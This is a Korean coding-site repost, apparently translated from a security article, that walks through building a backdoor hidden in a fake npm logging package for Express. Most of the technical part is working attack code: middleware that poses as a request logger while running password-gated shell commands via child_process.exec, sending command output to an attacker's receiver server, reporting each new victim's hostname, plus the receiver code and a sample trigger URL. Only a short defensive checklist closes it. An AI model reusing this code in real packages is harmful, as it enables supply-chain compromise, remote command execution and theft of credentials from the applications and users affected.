댓글 검색 목록

[Nodejs] 50 줄의 코드로 Node.js에서 백도어 만들기

페이지 정보

작성자 운영자 작성일 20-08-14 09:28 조회 735 댓글 0

공격자가 컴퓨터 시스템에 대한 높은 수준의 액세스 권한을 얻는 방법과 개인 및 금융 데이터를 도용하고 추가 맬웨어를 설치하고 장치를 탈취하는 방법에 대해 궁금한 적이 있습니까? 글쎄, 종종 이것은 백도어의 도움으로 발생합니다.


간단히 말해서 이러한 공격을 수행하려면 공격자가 시스템에 맬웨어를 주입 한 다음 명령을 보내고 호스트를 원격으로 제어 할 수 있는 통신 채널을 열어야 합니다.


https://www.securecoding.com/building-a-backdoor-in-node-js-with-50-lines-of-code/ 


이 공격을 수행하는 해커는 자신이 공격 한 애플리케이션과 유사한 액세스 권한을 얻습니다. 애플리케이션이 sudo 모드에서 실행되면 공격자는 수퍼 유저 액세스 (루트 액세스)를 얻습니다.


따라서 일반적으로 닫힌 환경에서 응용 프로그램을 실행하고 가능한 한 적은 액세스 권한을 부여하는 것이 안전합니다.


이 문제가 NodeJS와 어떤 관련이 있는지 살펴 보겠습니다. 

이 언어는 일반적으로 웹 개발 및 소프트웨어 개발에서 가장 널리 사용되는 언어 중 하나이기 때문에 선택했습니다.


여전히 논쟁의 여지가 있지만, 거대한 생태계로 인해 JavaScript가 모든 것을 지배하는 하나의 언어라고 부르는 언어가 되었다고 말하는 것이 거의 안전합니다.


요즘 자바 스크립트 프로그래밍 언어의 패키지 관리자 인 npm은 100 만 개가 넘는 공개 패키지에 도달했습니다. 이 퀴즈에 따르면 크기는 약 8TB입니다.


이러한 조건과 NodeJS의 암시적 문제와 관련된 몇 가지 주요 문제는 이 생태계를 공격자에게 완벽한 선택으로 만듭니다.


백도어는 어디에 숨겨져 있습니까? 


지금까지 가장 어려운 일은 아무도 찾을 수 없도록 백도어를 숨기는 것입니다. 일반적으로 이러한 취약점은 다음 두 위치에 주입됩니다.


  • 프로그래밍의 첫 번째 규칙에 따라 실행되는 이전 레거시 코드 : 작동하는 경우 건드리지 마십시오.
  • 숨겨진 종속성 내부.

첫 번째 경우의 문제는 많은 중복 코드에서 실행된다는 것입니다. 아무도 유지 관리 할 수 ​​없지만 프로그램의 다른 모든 부분에 연결된 잘못된 구현을 두려워하여 지울 수 없는 코드입니다.

두 번째 경우의 문제는 종속성에도 종속성이 있다는 것입니다.


이 사건의 경우와 마찬가지로 해커가 좋은 라이브러리를 만드는 것은 쉽지만 동시에 종속성 링크를 만들고 해당 경로의 어딘가에 맬웨어를 숨길 수 있습니다.


예를 들어, 인기 있는 npm 패키지를 사용하고 패키지 A라고 합시다. 이 패키지에는 종속성 C도 있고 종속성 D도 있는 종속성 B도 있습니다.이 종속성은 거의 아무도 들어 보지 못했지만 백도어가 있습니다. 그것.


자신 만의 백도어를 코딩하는 방법? 


이 보안 문제를 이해하는 가장 좋은 방법은 시스템에 자체 백도어를 만드는 것입니다.


우리가 달성하고자 하는 것은 외부 컴퓨터 시스템에서 임의의 명령을 실행할 수 있는 능력입니다.


결국 전체 해킹은 다음과 같습니다.

  • 왼쪽에는 명령 출력의 수신자 역할을 하는 해커의 서버가 있습니다.
  • 오른쪽은 피해자 서버입니다.
  • 중간에 공격이 발생합니다.

확실하다면 NodeJS 애플리케이션에서 간단한 백도어를 만들어 보겠습니다.


취약점을 숨길 수 있는 큰 레거시 코드가 없기 때문에 두 번째 사례로 이동하고 메시지 로깅을 위한 인기 있는 npm 패키지가 있는 척합니다.


피해자의 애플리케이션은 우리 패키지를 사용하는 간단한 익스프레스 기반 웹 앱입니다.


const express = require("express"); const app = express(); const myLogger = require("./logger"); app.use(myLogger()); app.get("/", function (req, res) { res.send("Hello world"); }); app.listen(3000, () => { console.log("Application is up on port 3000"); }); 


우리가 할 일을 얻으려면 백도어를 요청 객체에 바인딩해야 합니다. 이런 식으로 우리는 맬웨어로 들어오는 모든 요청을 가로 챌 수 있습니다. 이것과 마찬가지로 우리는 이미 큰 영향력을 가지고 있으며 우리 패키지를 사용하는 응용 프로그램에 대해 인증 할 때 모든 사용자 자격 증명 또는 모든 비밀 토큰을 찾을 수 있습니다.


요청 객체에 바인딩 하려면 백도어가 미들웨어의 일부여야 합니다. 따라서 들어오는 모든 요청을 예쁘게 인쇄하는 데 목적이 있는 logger라는 npm 패키지를 만들었습니다.


이렇게 하면 우리 모듈을 사용할 모든 사람은 미들웨어로 서버에 연결해야 합니다.


app.use(myLogger()) 


이 코드 줄은 백도어를 트리거합니다.


이제 기본적으로 다음은 매개 변수입니다.

  • req – request는 서버로 들어오는 요청입니다.
  • res – 응답이지만 이것은 우리에게 인터셋이 아닙니다.
  • next – 체인의 다음 미들웨어를 호출합니다 (콜백이라고도 함).

module.exports = () => { return (req, res, next) => { console.log(`${new Date().toLocaleString()}: ${req.method} - ${req.url}`); next(); }; }; 


console.log() – 패키지가 들어오는 요청을 예쁘게 인쇄하는 데 사용된다고 했기 때문에 미끼로 사용되므로 합법적으로 보이기 위해 뭔가를 해야 합니다.


워크 플로는 다음과 같습니다. 명령과 함께 피해자의 웹 서버에 요청을 보내고 백도어가 피해자의 시스템에서 해당 명령을 실행합니다.


이를 위해 NodeJS의 기본 모듈 인 child_process의 exec 메서드를 사용합니다.


const { exec } = require("child_process"); module.exports = () => { return (req, res, next) => { const { pwd, cmd } = req.query; if (!pwd) { console.log(`${new Date().toLocaleString()}: ${req.method} - ${req.url}`); } if (pwd === "secret-pwd") { exec(cmd); } next(); }; }; 


비밀번호와 함께 외부 호스트에서 실행하려는 명령을 쿼리 매개 변수로 보냅니다. 이렇게 하면 다른 해커로부터 백도어를 보호하고 스크립트에 이 요청을 생략하고 인쇄하지 않도록 알립니다. 개발자는 이 공격이 오는 것을 결코 보지 못할 것입니다.


이를 악용하기 위해 다음과 같은 형식의 get 요청을 보낼 수 있습니다.


https://victim-url?pwd=secret-pwd&cmd=ls


이러한 방식으로 암호가 검증되고 ls (파일 목록) 명령이 호스트에 대해 실행됩니다.


지금 해야 할 일은 명령의 출력을 캡처 하는 것입니다. 출력을 보지 않고 명령을 실행할 필요가 거의 없습니다.


해킹 결과를 확인하기 위해 명령 출력과 함께 개인 서버 중 하나에 요청합니다.


수신자 역할을 하는 개인 서버에는 다음 코드가 있습니다.


const express = require("express"); const app = express(); const bodyParser = require("body-parser"); app.use(bodyParser.json()); app.post("/", function (req, res) { console.log(req.body); res.send(); }); app.listen(3001, () => { console.log("app is up"); }); 


그리고 백도어를 완성하기 위해 POST 요청 본문에 있는 명령의 출력을 서버로 보냅니다.


const { exec } = require("child_process"); const http = require("http"); module.exports = () => { return (req, res, next) => { const { pwd, cmd } = req.query; if (!pwd) { console.log(`${new Date().toLocaleString()}: ${req.method} - ${req.url}`); } if (pwd === "secret-pwd") { exec(cmd, (err, stdout) => { const data = JSON.stringify({ output: stdout, }); const options = { host: "127.0.0.1", port: "3001", path: "/", method: "POST", headers: { "Content-Type": "application/json", "Content-Length": Buffer.byteLength(data), }, }; const req = http.request(options); req.write(data); req.end(); }); } next(); }; }; 


마지막 문제가 하나 있습니다. 피해자의 주소를 어떻게 알 수 있습니까? 공격을 하려면 피해자의 웹 주소를 알아야 합니다.


이를 위해 수신기에 핸들러를 하나 더 추가합니다.


app.get("/new-victim", (req, res) => { console.log(req.query); res.send(); }); 


이제 백도어에서 새 애플리케이션이 라이브러리를 사용할 때 요청을 보냅니다.


이를 수행하려면 다음 스니펫으로 이전 코드를 완료하십시오.


module.exports = () => { let newVictim = true; return (req, res, next) => { if (newVictim) { newVictim = false; const options = { host: "127.0.0.1", port: "3001", path: `/new-victim?victimURL=${req.hostname}`, }; http.request(options).end(); } ...... 


이렇게 하면 외부 응용 프로그램이 npm 패키지를 사용하고 누군가 해당 응용 프로그램에 처음 액세스 할 때마다 대상의 URL에 대해 알려주는 요청이 수신자에게 전송됩니다.


자신을 보호하는 방법? 


그렇게 하는 것이 그렇게 쉬운 지 스스로에게 질문 할 수 있습니다. 그렇다면 이러한 유형의 공격에 대해 더 많이 듣지 않겠습니까?


앞서 말했 듯이 어려운 부분은 숨기거나 이 경우 취약점을 주입하는 것입니다. 대부분의 경우 이러한 패키지는 타사 응용 프로그램을 사용하여 취약점을 검색하거나 수동으로 확인합니다.

이러한 유형의 공격으로부터 자신을 보호하려면 다음 측면에서 최선을 다하십시오.

  • 코드를 캡슐화하고 최대한 시스템에 대한 액세스 권한을 부여하지 않습니다.
  • 잘 알려져 있고 유지 관리되는 오픈 소스 구성 요소를 사용합니다.
  • 서버에 대한 모든 요청을 추적하려면 좋은 모니터링 도구 (가급적이면 자신의 것)를 사용하십시오.



댓글목록 0

등록된 댓글이 없습니다.

웹학교 로고

온라인 코딩학교

코리아뉴스 2001 - , All right reserved.